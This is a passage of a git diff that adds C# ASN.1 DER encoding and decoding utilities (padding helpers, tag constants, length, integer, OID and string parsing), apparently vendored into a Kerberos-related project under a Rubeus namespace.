diff --git a/inc/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs b/inc/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs new file mode 100644 index 0000000..b032dc7 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Asn1/Asn1Extensions.cs @@ -0,0 +1,47 @@ +using System; + +namespace Rubeus.Asn1 { + public static class Asn1Extensions { + + public static byte[] DepadLeft(this byte[] data) { + + int leadingZeros = 0; + for (var i = 0; i < data.Length; i++) { + if (data[i] == 0) { + leadingZeros++; + } else { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros); + return result; + } + + public static byte[] PadLeft(this byte[] data, int totalSize) { + + if(data.Length == totalSize) { + return data; + } + + if(totalSize < data.Length) { + throw new ArgumentException("data bigger than totalSize, cannot pad with 0's"); + } + + byte[] result = new byte[totalSize]; + data.CopyTo(result, totalSize - data.Length); + return result; + } + + public static byte[] PadRight(this byte[] data, int length) { + if (data.Length == length) { + return data; + } + + var copy = new byte[length]; + data.CopyTo(copy, length - data.Length); + return copy; + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Asn1/AsnElt.cs b/inc/kerbtgs/CrackMapCore/Asn1/AsnElt.cs new file mode 100644 index 0000000..516b19d --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Asn1/AsnElt.cs @@ -0,0 +1,2301 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +/* + * An AsnElt instance represents a decoded ASN.1 DER object. It is + * immutable. + */ + +public class AsnElt { + + /* + * Universal tag values. + */ + public const int BOOLEAN = 1; + public const int INTEGER = 2; + public const int BIT_STRING = 3; + public const int OCTET_STRING = 4; + public const int NULL = 5; + public const int OBJECT_IDENTIFIER = 6; + public const int Object_Descriptor = 7; + public const int EXTERNAL = 8; + public const int REAL = 9; + public const int ENUMERATED = 10; + public const int EMBEDDED_PDV = 11; + public const int UTF8String = 12; + public const int RELATIVE_OID = 13; + public const int SEQUENCE = 16; + public const int SET = 17; + public const int NumericString = 18; + public const int PrintableString = 19; + public const int T61String = 20; + public const int TeletexString = 20; + public const int VideotexString = 21; + public const int IA5String = 22; + public const int UTCTime = 23; + public const int GeneralizedTime = 24; + public const int GraphicString = 25; + public const int VisibleString = 26; + public const int GeneralString = 27; + public const int UniversalString = 28; + public const int CHARACTER_STRING = 29; + public const int BMPString = 30; + + /* + * Tag classes. + */ + public const int UNIVERSAL = 0; + public const int APPLICATION = 1; + public const int CONTEXT = 2; + public const int PRIVATE = 3; + + /* + * Internal rules + * ============== + * + * Instances are immutable. They reference an internal buffer + * that they never modify. The buffer is never shown to the + * outside; when decoding and creating, copies are performed + * where necessary. + * + * If the instance was created by decoding, then: + * objBuf points to the array containing the complete object + * objOff start offset for the object header + * objLen complete object length + * valOff offset for the first value byte + * valLen value length (excluding the null-tag, if applicable) + * hasEncodedHeader is true + * + * If the instance was created from an explicit value or from + * sub-elements, then: + * objBuf contains the value, or is null + * objOff is 0 + * objLen is -1, or contains the computed object length + * valOff is 0 + * valLen is -1, or contains the computed value length + * hasEncodedHeader is false + * + * If objBuf is null, then the object is necessarily constructed + * (Sub is not null). If objBuf is not null, then the encoded + * value is known (the object may be constructed or primitive), + * and valOff/valLen identify the actual value within objBuf. + * + * Tag class and value, and sub-elements, are referenced from + * specific properties. + */ + + byte[] objBuf; + int objOff; + int objLen; + int valOff; + int valLen; + bool hasEncodedHeader; + + AsnElt() + { + } + + /* + * The tag class for this element. + */ + int tagClass_; + public int TagClass { + get { + return tagClass_; + } + private set { + tagClass_ = value; + } + } + + /* + * The tag value for this element. + */ + int tagValue_; + public int TagValue { + get { + return tagValue_; + } + private set { + tagValue_ = value; + } + } + + /* + * The sub-elements. This is null if this element is primitive. + * DO NOT MODIFY this array. + */ + AsnElt[] sub_; + public AsnElt[] Sub { + get { + return sub_; + } + private set { + sub_ = value; + } + } + + /* + * The "constructed" flag: true for an elements with sub-elements, + * false for a primitive element. + */ + public bool Constructed { + get { + return Sub != null; + } + } + + /* + * The value length. When the object is BER-encoded with an + * indefinite length, the value length includes all the sub-objects + * but NOT the formal null-tag marker. + */ + public int ValueLength { + get { + if (valLen < 0) { + if (Constructed) { + int vlen = 0; + foreach (AsnElt a in Sub) { + vlen += a.EncodedLength; + } + valLen = vlen; + } else { + valLen = objBuf.Length; + } + } + return valLen; + } + } + + /* + * The encoded object length (complete with header). + */ + public int EncodedLength { + get { + if (objLen < 0) { + int vlen = ValueLength; + objLen = TagLength(TagValue) + + LengthLength(vlen) + vlen; + } + return objLen; + } + } + + /* + * Check that this element is constructed. An exception is thrown + * if this is not the case. + */ + public void CheckConstructed() + { + if (!Constructed) { + throw new AsnException("not constructed"); + } + } + + /* + * Check that this element is primitive. An exception is thrown + * if this is not the case. + */ + public void CheckPrimitive() + { + if (Constructed) { + throw new AsnException("not primitive"); + } + } + + /* + * Get a sub-element. This method throws appropriate exceptions + * if this element is not constructed, or the requested index + * is out of range. + */ + public AsnElt GetSub(int n) + { + CheckConstructed(); + if (n < 0 || n >= Sub.Length) { + throw new AsnException("no such sub-object: n=" + n); + } + return Sub[n]; + } + + /* + * Check that the tag is UNIVERSAL with the provided value. + */ + public void CheckTag(int tv) + { + CheckTag(UNIVERSAL, tv); + } + + /* + * Check that the tag has the specified class and value. + */ + public void CheckTag(int tc, int tv) + { + if (TagClass != tc || TagValue != tv) { + throw new AsnException("unexpected tag: " + TagString); + } + } + + /* + * Check that this element is constructed and contains exactly + * 'n' sub-elements. + */ + public void CheckNumSub(int n) + { + CheckConstructed(); + if (Sub.Length != n) { + throw new AsnException("wrong number of sub-elements: " + + Sub.Length + " (expected: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains at least + * 'n' sub-elements. + */ + public void CheckNumSubMin(int n) + { + CheckConstructed(); + if (Sub.Length < n) { + throw new AsnException("not enough sub-elements: " + + Sub.Length + " (minimum: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains no more + * than 'n' sub-elements. + */ + public void CheckNumSubMax(int n) + { + CheckConstructed(); + if (Sub.Length > n) { + throw new AsnException("too many sub-elements: " + + Sub.Length + " (maximum: " + n + ")"); + } + } + + /* + * Get a string representation of the tag class and value. + */ + public string TagString { + get { + return TagToString(TagClass, TagValue); + } + } + + static string TagToString(int tc, int tv) + { + switch (tc) { + case UNIVERSAL: + break; + case APPLICATION: + return "APPLICATION:" + tv; + case CONTEXT: + return "CONTEXT:" + tv; + case PRIVATE: + return "PRIVATE:" + tv; + default: + return String.Format("INVALID:{0}/{1}", tc, tv); + } + + switch (tv) { + case BOOLEAN: return "BOOLEAN"; + case INTEGER: return "INTEGER"; + case BIT_STRING: return "BIT_STRING"; + case OCTET_STRING: return "OCTET_STRING"; + case NULL: return "NULL"; + case OBJECT_IDENTIFIER: return "OBJECT_IDENTIFIER"; + case Object_Descriptor: return "Object_Descriptor"; + case EXTERNAL: return "EXTERNAL"; + case REAL: return "REAL"; + case ENUMERATED: return "ENUMERATED"; + case EMBEDDED_PDV: return "EMBEDDED_PDV"; + case UTF8String: return "UTF8String"; + case RELATIVE_OID: return "RELATIVE_OID"; + case SEQUENCE: return "SEQUENCE"; + case SET: return "SET"; + case NumericString: return "NumericString"; + case PrintableString: return "PrintableString"; + case TeletexString: return "TeletexString"; + case VideotexString: return "VideotexString"; + case IA5String: return "IA5String"; + case UTCTime: return "UTCTime"; + case GeneralizedTime: return "GeneralizedTime"; + case GraphicString: return "GraphicString"; + case VisibleString: return "VisibleString"; + case GeneralString: return "GeneralString"; + case UniversalString: return "UniversalString"; + case CHARACTER_STRING: return "CHARACTER_STRING"; + case BMPString: return "BMPString"; + default: + return String.Format("UNIVERSAL:" + tv); + } + } + + /* + * Get the encoded length for a tag. + */ + static int TagLength(int tv) + { + if (tv <= 0x1F) { + return 1; + } + int z = 1; + while (tv > 0) { + z ++; + tv >>= 7; + } + return z; + } + + /* + * Get the encoded length for a length. + */ + static int LengthLength(int len) + { + if (len < 0x80) { + return 1; + } + int z = 1; + while (len > 0) { + z ++; + len >>= 8; + } + return z; + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf) + { + return Decode(buf, 0, buf.Length, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf, int off, int len) + { + return Decode(buf, off, len, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, bool exactLength) + { + return Decode(buf, 0, buf.Length, exactLength); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, int off, int len, + bool exactLength) + { + if (Rubeus.Program.Debug) + { + Console.WriteLine("\n[DECODE] {0} {1}\n", exactLength, Convert.ToBase64String(buf)); + } + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + if (exactLength && objLen != len) { + throw new AsnException("trailing garbage"); + } + byte[] nbuf = new byte[objLen]; + Array.Copy(buf, off, nbuf, 0, objLen); + return DecodeNoCopy(nbuf, 0, objLen); + } + + /* + * Internal recursive decoder. The provided array is NOT copied. + * Trailing garbage is ignored (caller should use the 'objLen' + * field to learn the total object length). + */ + static AsnElt DecodeNoCopy(byte[] buf, int off, int len) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + AsnElt a = new AsnElt(); + a.TagClass = tc; + a.TagValue = tv; + a.objBuf = buf; + a.objOff = off; + a.objLen = objLen; + a.valOff = valOff; + a.valLen = valLen; + a.hasEncodedHeader = true; + if (cons) { + List subs = new List(); + off = valOff; + int lim = valOff + valLen; + while (off < lim) { + AsnElt b = DecodeNoCopy(buf, off, lim - off); + off += b.objLen; + subs.Add(b); + } + a.Sub = subs.ToArray(); + } else { + a.Sub = null; + } + return a; + } + + /* + * Decode the tag and length, and get the value offset and length. + * Returned value if the total object length. + * Note: when an object has indefinite length, the terminated + * "null tag" will NOT be considered part of the "value length". + */ + static int Decode(byte[] buf, int off, int maxLen, + out int tc, out int tv, out bool cons, + out int valOff, out int valLen) + { + int lim = off + maxLen; + int orig = off; + + /* + * Decode tag. + */ + CheckOff(off, lim); + tv = buf[off ++]; + cons = (tv & 0x20) != 0; + tc = tv >> 6; + tv &= 0x1F; + if (tv == 0x1F) { + tv = 0; + for (;;) { + CheckOff(off, lim); + int c = buf[off ++]; + if (tv > 0xFFFFFF) { + throw new AsnException( + "tag value overflow"); + } + tv = (tv << 7) | (c & 0x7F); + if ((c & 0x80) == 0) { + break; + } + } + } + + /* + * Decode length. + */ + CheckOff(off, lim); + int vlen = buf[off ++]; + if (vlen == 0x80) { + /* + * Indefinite length. This is not strict DER, but + * we allow it nonetheless; we must check that + * the value was tagged as constructed, though. + */ + vlen = -1; + if (!cons) { + throw new AsnException("indefinite length" + + " but not constructed"); + } + } else if (vlen > 0x80) { + int lenlen = vlen - 0x80; + CheckOff(off + lenlen - 1, lim); + vlen = 0; + while (lenlen -- > 0) { + if (vlen > 0x7FFFFF) { + throw new AsnException( + "length overflow"); + } + vlen = (vlen << 8) + buf[off ++]; + } + } + + /* + * Length was decoded, so the value starts here. + */ + valOff = off; + + /* + * If length is indefinite then we must explore sub-objects + * to get the value length. + */ + if (vlen < 0) { + for (;;) { + int tc2, tv2, valOff2, valLen2; + bool cons2; + int slen; + + slen = Decode(buf, off, lim - off, + out tc2, out tv2, out cons2, + out valOff2, out valLen2); + if (tc2 == 0 && tv2 == 0) { + if (cons2 || valLen2 != 0) { + throw new AsnException( + "invalid null tag"); + } + valLen = off - valOff; + off += slen; + break; + } else { + off += slen; + } + } + } else { + if (vlen > (lim - off)) { + throw new AsnException("value overflow"); + } + off += vlen; + valLen = off - valOff; + } + + return off - orig; + } + + static void CheckOff(int off, int lim) + { + if (off >= lim) { + throw new AsnException("offset overflow"); + } + } + + /* + * Get a specific byte from the value. This provided offset is + * relative to the value start (first value byte has offset 0). + */ + public int ValueByte(int off) + { + if (off < 0) { + throw new AsnException("invalid value offset: " + off); + } + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + if ((k + slen) > off) { + return a.ValueByte(off - k); + } + } + } else { + if (off < valLen) { + return objBuf[valOff + off]; + } + } + throw new AsnException(String.Format( + "invalid value offset {0} (length = {1})", + off, ValueLength)); + } + + /* + * Encode this object into a newly allocated array. + */ + public byte[] Encode() + { + byte[] r = new byte[EncodedLength]; + Encode(r, 0); + + if (Rubeus.Program.Debug) + { + Console.WriteLine("\n[ENCODE] {0}\n", Convert.ToBase64String(r)); + } + return r; + } + + /* + * Encode this object into the provided array. Encoded object + * length is returned. + */ + public int Encode(byte[] dst, int off) + { + return Encode(0, Int32.MaxValue, dst, off); + } + + /* + * Encode this object into the provided array. Only bytes + * at offset between 'start' (inclusive) and 'end' (exclusive) + * are actually written. The number of written bytes is returned. + * Offsets are relative to the object start (first tag byte). + */ + int Encode(int start, int end, byte[] dst, int dstOff) + { + /* + * If the encoded value is already known, then we just + * dump it. + */ + if (hasEncodedHeader) { + int from = objOff + Math.Max(0, start); + int to = objOff + Math.Min(objLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, from, dst, dstOff, len); + return len; + } else { + return 0; + } + } + + int off = 0; + + /* + * Encode tag. + */ + int fb = (TagClass << 6) + (Constructed ? 0x20 : 0x00); + if (TagValue < 0x1F) { + fb |= (TagValue & 0x1F); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + } else { + fb |= 0x1F; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + int k = 0; + for (int v = TagValue; v > 0; v >>= 7, k += 7); + while (k > 0) { + k -= 7; + int v = (TagValue >> k) & 0x7F; + if (k != 0) { + v |= 0x80; + } + if (start <= off && off < end) { + dst[dstOff ++] = (byte)v; + } + off ++; + } + } + + /* + * Encode length. + */ + int vlen = ValueLength; + if (vlen < 0x80) { + if (start <= off && off < end) { + dst[dstOff ++] = (byte)vlen; + } + off ++; + } else { + int k = 0; + for (int v = vlen; v > 0; v >>= 8, k += 8); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(0x80 + (k >> 3)); + } + off ++; + while (k > 0) { + k -= 8; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(vlen >> k); + } + off ++; + } + } + + /* + * Encode value. We must adjust the start/end window to + * make it relative to the value. + */ + EncodeValue(start - off, end - off, dst, dstOff); + off += vlen; + + /* + * Compute copied length. + */ + return Math.Max(0, Math.Min(off, end) - Math.Max(0, start)); + } + + /* + * Encode the value into the provided buffer. Only value bytes + * at offsets between 'start' (inclusive) and 'end' (exclusive) + * are written. Actual number of written bytes is returned. + * Offsets are relative to the start of the value. + */ + int EncodeValue(int start, int end, byte[] dst, int dstOff) + { + int orig = dstOff; + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + dstOff += a.Encode(start - k, end - k, + dst, dstOff); + k += slen; + } + } else { + int from = Math.Max(0, start); + int to = Math.Min(valLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, valOff + from, + dst, dstOff, len); + dstOff += len; + } + } + return dstOff - orig; + } + + /* + * Copy a value chunk. The provided offset ('off') and length ('len') + * define the chunk to copy; the offset is relative to the value + * start (first value byte has offset 0). If the requested window + * exceeds the value boundaries, an exception is thrown. + */ + public void CopyValueChunk(int off, int len, byte[] dst, int dstOff) + { + int vlen = ValueLength; + if (off < 0 || len < 0 || len > (vlen - off)) { + throw new AsnException(String.Format( + "invalid value window {0}:{1}" + + " (value length = {2})", off, len, vlen)); + } + EncodeValue(off, off + len, dst, dstOff); + } + + /* + * Copy the value into the specified array. The value length is + * returned. + */ + public int CopyValue(byte[] dst, int off) + { + return EncodeValue(0, Int32.MaxValue, dst, off); + } + + /* + * Get a copy of the value as a freshly allocated array. + */ + public byte[] CopyValue() + { + byte[] r = new byte[ValueLength]; + EncodeValue(0, r.Length, r, 0); + return r; + } + + /* + * Get the value. This may return a shared buffer, that MUST NOT + * be modified. + */ + byte[] GetValue(out int off, out int len) + { + if (objBuf == null) { + /* + * We can modify objBuf because CopyValue() + * called ValueLength, thus valLen has been + * filled. + */ + objBuf = CopyValue(); + off = 0; + len = objBuf.Length; + } else { + off = valOff; + len = valLen; + } + return objBuf; + } + + /* + * Interpret the value as a BOOLEAN. + */ + public bool GetBoolean() + { + if (Constructed) { + throw new AsnException( + "invalid BOOLEAN (constructed)"); + } + int vlen = ValueLength; + if (vlen != 1) { + throw new AsnException(String.Format( + "invalid BOOLEAN (length = {0})", vlen)); + } + return ValueByte(0) != 0; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value does not fit in a 'long'. + */ + public long GetInteger() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + int v = ValueByte(0); + long x; + if ((v & 0x80) != 0) { + x = -1; + for (int k = 0; k < vlen; k ++) { + if (x < ((-1L) << 55)) { + throw new AsnException( + "integer overflow (negative)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } else { + x = 0; + for (int k = 0; k < vlen; k ++) { + if (x >= (1L << 55)) { + throw new AsnException( + "integer overflow (positive)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } + return x; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value is outside of the provided range. + */ + public long GetInteger(long min, long max) + { + long v = GetInteger(); + if (v < min || v > max) { + throw new AsnException("integer out of allowed range"); + } + return v; + } + + /* + * Interpret the value as an INTEGER. Return its hexadecimal + * representation (uppercase), preceded by a '0x' or '-0x' + * header, depending on the integer sign. The number of + * hexadecimal digits is even. Leading zeroes are returned (but + * one may remain, to ensure an even number of digits). If the + * integer has value 0, then 0x00 is returned. + */ + public string GetIntegerHex() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + StringBuilder sb = new StringBuilder(); + byte[] tmp = CopyValue(); + if (tmp[0] >= 0x80) { + sb.Append('-'); + int cc = 1; + for (int i = tmp.Length - 1; i >= 0; i --) { + int v = ((~tmp[i]) & 0xFF) + cc; + tmp[i] = (byte)v; + cc = v >> 8; + } + } + int k = 0; + while (k < tmp.Length && tmp[k] == 0) { + k ++; + } + if (k == tmp.Length) { + return "0x00"; + } + sb.Append("0x"); + while (k < tmp.Length) { + sb.AppendFormat("{0:X2}", tmp[k ++]); + } + return sb.ToString(); + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * returned. This method supports constructed values and performs + * the reassembly. + */ + public byte[] GetOctetString() + { + int len = GetOctetString(null, 0); + byte[] r = new byte[len]; + GetOctetString(r, 0); + return r; + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * written in dst[], starting at offset 'off', and the total value + * length is returned. If 'dst' is null, then no byte is written + * anywhere, but the total length is still returned. This method + * supports constructed values and performs the reassembly. + */ + public int GetOctetString(byte[] dst, int off) + { + if (Constructed) { + int orig = off; + foreach (AsnElt ae in Sub) { + ae.CheckTag(AsnElt.OCTET_STRING); + off += ae.GetOctetString(dst, off); + } + return off - orig; + } + if (dst != null) { + return CopyValue(dst, off); + } else { + return ValueLength; + } + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. + */ + public byte[] GetBitString() + { + int bitLength; + return GetBitString(out bitLength); + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. The actual bit length is + * written in 'bitLength'. + */ + public byte[] GetBitString(out int bitLength) + { + if (Constructed) { + /* + * TODO: support constructed BIT STRING values. + */ + throw new AsnException( + "invalid BIT STRING (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException( + "invalid BIT STRING (length = 0)"); + } + int fb = ValueByte(0); + if (fb > 7 || (vlen == 1 && fb != 0)) { + throw new AsnException(String.Format( + "invalid BIT STRING (start = 0x{0:X2})", fb)); + } + byte[] r = new byte[vlen - 1]; + CopyValueChunk(1, vlen - 1, r, 0); + if (vlen > 1) { + r[r.Length - 1] &= (byte)(0xFF << fb); + } + bitLength = (r.Length << 3) - fb; + return r; + } + + /* + * Interpret the value as a NULL. + */ + public void CheckNull() + { + if (Constructed) { + throw new AsnException( + "invalid NULL (constructed)"); + } + if (ValueLength != 0) { + throw new AsnException(String.Format( + "invalid NULL (length = {0})", ValueLength)); + } + } + + /* + * Interpret the value as an OBJECT IDENTIFIER, and return it + * (in decimal-dotted string format). + */ + public string GetOID() + { + CheckPrimitive(); + if (valLen == 0) { + throw new AsnException("zero-length OID"); + } + int v = objBuf[valOff]; + if (v >= 120) { + throw new AsnException( + "invalid OID: first byte = " + v); + } + StringBuilder sb = new StringBuilder(); + sb.Append(v / 40); + sb.Append('.'); + sb.Append(v % 40); + long acc = 0; + bool uv = false; + for (int i = 1; i < valLen; i ++) { + v = objBuf[valOff + i]; + if ((acc >> 56) != 0) { + throw new AsnException( + "invalid OID: integer overflow"); + } + acc = (acc << 7) + (long)(v & 0x7F); + if ((v & 0x80) == 0) { + sb.Append('.'); + sb.Append(acc); + acc = 0; + uv = false; + } else { + uv = true; + } + } + if (uv) { + throw new AsnException( + "invalid OID: truncated"); + } + return sb.ToString(); + } + + /* + * Get the object value as a string. The string type is inferred + * from the tag. + */ + public string GetString() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer string type: {0}:{1}", + TagClass, TagValue)); + } + return GetString(TagValue); + } + + /* + * Get the object value as a string. The string type is provided + * (universal tag value). Supported string types include + * NumericString, PrintableString, IA5String, TeletexString + * (interpreted as ISO-8859-1), UTF8String, BMPString and + * UniversalString; the "time types" (UTCTime and GeneralizedTime) + * are also supported, though, in their case, the internal + * contents are not checked (they are decoded as PrintableString). + */ + public string GetString(int type) + { + if (Constructed) { + throw new AsnException( + "invalid string (constructed)"); + } + switch (type) { + case NumericString: + case PrintableString: + case IA5String: + case TeletexString: + case UTCTime: + case GeneralizedTime: + return DecodeMono(objBuf, valOff, valLen, type); + case UTF8String: + return DecodeUTF8(objBuf, valOff, valLen); + case BMPString: + return DecodeUTF16(objBuf, valOff, valLen); + case UniversalString: + return DecodeUTF32(objBuf, valOff, valLen); + default: + throw new AsnException( + "unsupported string type: " + type); + } + } + + static string DecodeMono(byte[] buf, int off, int len, int type) + { + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + tc[i] = (char)buf[off + i]; + } + VerifyChars(tc, type); + return new string(tc); + } + + static string DecodeUTF8(byte[] buf, int off, int len) + { + /* + * Skip BOM. + */ + if (len >= 3 && buf[off] == 0xEF + && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF) + { + off += 3; + len -= 3; + } + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + int c = buf[off + i]; + int e; + if (c < 0x80) { + e = 0; + } else if (c < 0xC0) { + throw BadByte(c, UTF8String); + } else if (c < 0xE0) { + c &= 0x1F; + e = 1; + } else if (c < 0xF0) { + c &= 0x0F; + e = 2; + } else if (c < 0xF8) { + c &= 0x07; + e = 3; + } else { + throw BadByte(c, UTF8String); + } + while (e -- > 0) { + if (++ i >= len) { + throw new AsnException( + "invalid UTF-8 string"); + } + int d = buf[off + i]; + if (d < 0x80 || d > 0xBF) { + throw BadByte(d, UTF8String); + } + c = (c << 6) + (d & 0x3F); + } + if (c > 0x10FFFF) { + throw BadChar(c, UTF8String); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (c >> 10); + int lo = 0xDC00 + (c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UTF8String); + return new string(tc); + } + + static string DecodeUTF16(byte[] buf, int off, int len) + { + if ((len & 1) != 0) { + throw new AsnException( + "invalid UTF-16 string: length = " + len); + } + len >>= 1; + if (len == 0) { + return ""; + } + bool be = true; + int hi = buf[off]; + int lo = buf[off + 1]; + if (hi == 0xFE && lo == 0xFF) { + off += 2; + len --; + } else if (hi == 0xFF && lo == 0xFE) { + off += 2; + len --; + be = false; + } + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off ++]; + int b1 = buf[off ++]; + if (be) { + tc[i] = (char)((b0 << 8) + b1); + } else { + tc[i] = (char)((b1 << 8) + b0); + } + } + VerifyChars(tc, BMPString); + return new string(tc); + } + + static string DecodeUTF32(byte[] buf, int off, int len) + { + if ((len & 3) != 0) { + throw new AsnException( + "invalid UTF-32 string: length = " + len); + } + len >>= 2; + if (len == 0) { + return ""; + } + bool be = true; + if (buf[off] == 0x00 + && buf[off + 1] == 0x00 + && buf[off + 2] == 0xFE + && buf[off + 3] == 0xFF) + { + off += 4; + len --; + } else if (buf[off] == 0xFF + && buf[off + 1] == 0xFE + && buf[off + 2] == 0x00 + && buf[off + 3] == 0x00) + { + off += 4; + len --; + be = false; + } + + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + uint b0 = buf[off + 0]; + uint b1 = buf[off + 1]; + uint b2 = buf[off + 2]; + uint b3 = buf[off + 3]; + uint c; + if (be) { + c = (b0 << 24) | (b1 << 16) + | (b2 << 8) | b3; + } else { + c = (b3 << 24) | (b2 << 16) + | (b1 << 8) | b0; + } + if (c > 0x10FFFF) { + throw BadChar((int)c, UniversalString); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (int)(c >> 10); + int lo = 0xDC00 + (int)(c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UniversalString); + return new string(tc); + } + + static void VerifyChars(char[] tc, int type) + { + switch (type) { + case NumericString: + foreach (char c in tc) { + if (!IsNum(c)) { + throw BadChar(c, type); + } + } + return; + case PrintableString: + case UTCTime: + case GeneralizedTime: + foreach (char c in tc) { + if (!IsPrintable(c)) { + throw BadChar(c, type); + } + } + return; + case IA5String: + foreach (char c in tc) { + if (!IsIA5(c)) { + throw BadChar(c, type); + } + } + return; + case TeletexString: + foreach (char c in tc) { + if (!IsLatin1(c)) { + throw BadChar(c, type); + } + } + return; + } + + /* + * For Unicode string types (UTF-8, BMP...). + */ + for (int i = 0; i < tc.Length; i ++) { + int c = tc[i]; + if (c >= 0xFDD0 && c <= 0xFDEF) { + throw BadChar(c, type); + } + if (c == 0xFFFE || c == 0xFFFF) { + throw BadChar(c, type); + } + if (c < 0xD800 || c > 0xDFFF) { + continue; + } + if (c > 0xDBFF) { + throw BadChar(c, type); + } + int hi = c & 0x3FF; + if (++ i >= tc.Length) { + throw BadChar(c, type); + } + c = tc[i]; + if (c < 0xDC00 || c > 0xDFFF) { + throw BadChar(c, type); + } + int lo = c & 0x3FF; + c = 0x10000 + lo + (hi << 10); + if ((c & 0xFFFE) == 0xFFFE) { + throw BadChar(c, type); + } + } + } + + static bool IsNum(int c) + { + return c == ' ' || (c >= '0' && c <= '9'); + } + + internal static bool IsPrintable(int c) + { + if (c >= 'A' && c <= 'Z') { + return true; + } + if (c >= 'a' && c <= 'z') { + return true; + } + if (c >= '0' && c <= '9') { + return true; + } + switch (c) { + case ' ': case '(': case ')': case '+': + case ',': case '-': case '.': case '/': + case ':': case '=': case '?': case '\'': + return true; + default: + return false; + } + } + + static bool IsIA5(int c) + { + return c < 128; + } + + static bool IsLatin1(int c) + { + return c < 256; + } + + static AsnException BadByte(int c, int type) + { + return new AsnException(String.Format( + "unexpected byte 0x{0:X2} in string of type {1}", + c, type)); + } + + static AsnException BadChar(int c, int type) + { + return new AsnException(String.Format( + "unexpected character U+{0:X4} in string of type {1}", + c, type)); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * Type of date is inferred from the tag value. + */ + public DateTime GetTime() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer date type: {0}:{1}", + TagClass, TagValue)); + } + return GetTime(TagValue); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * The time string type is provided as parameter (UTCTime or + * GeneralizedTime). + */ + public DateTime GetTime(int type) + { + bool isGen = false; + switch (type) { + case UTCTime: + break; + case GeneralizedTime: + isGen = true; + break; + default: + throw new AsnException( + "unsupported date type: " + type); + } + string s = GetString(type); + string orig = s; + + /* + * UTCTime has format: + * YYMMDDhhmm[ss](Z|(+|-)hhmm) + * + * GeneralizedTime has format: + * YYYYMMDDhhmmss[.uu*][Z|(+|-)hhmm] + * + * Differences between the two types: + * -- UTCTime encodes year over two digits; GeneralizedTime + * uses four digits. UTCTime years map to 1950..2049 (00 is + * 2000). + * -- Seconds are optional with UTCTime, mandatory with + * GeneralizedTime. + * -- GeneralizedTime can have fractional seconds (optional). + * -- Time zone is optional for GeneralizedTime. However, + * a missing time zone means "local time" which depends on + * the locality, so this is discouraged. + * + * Some other notes: + * -- 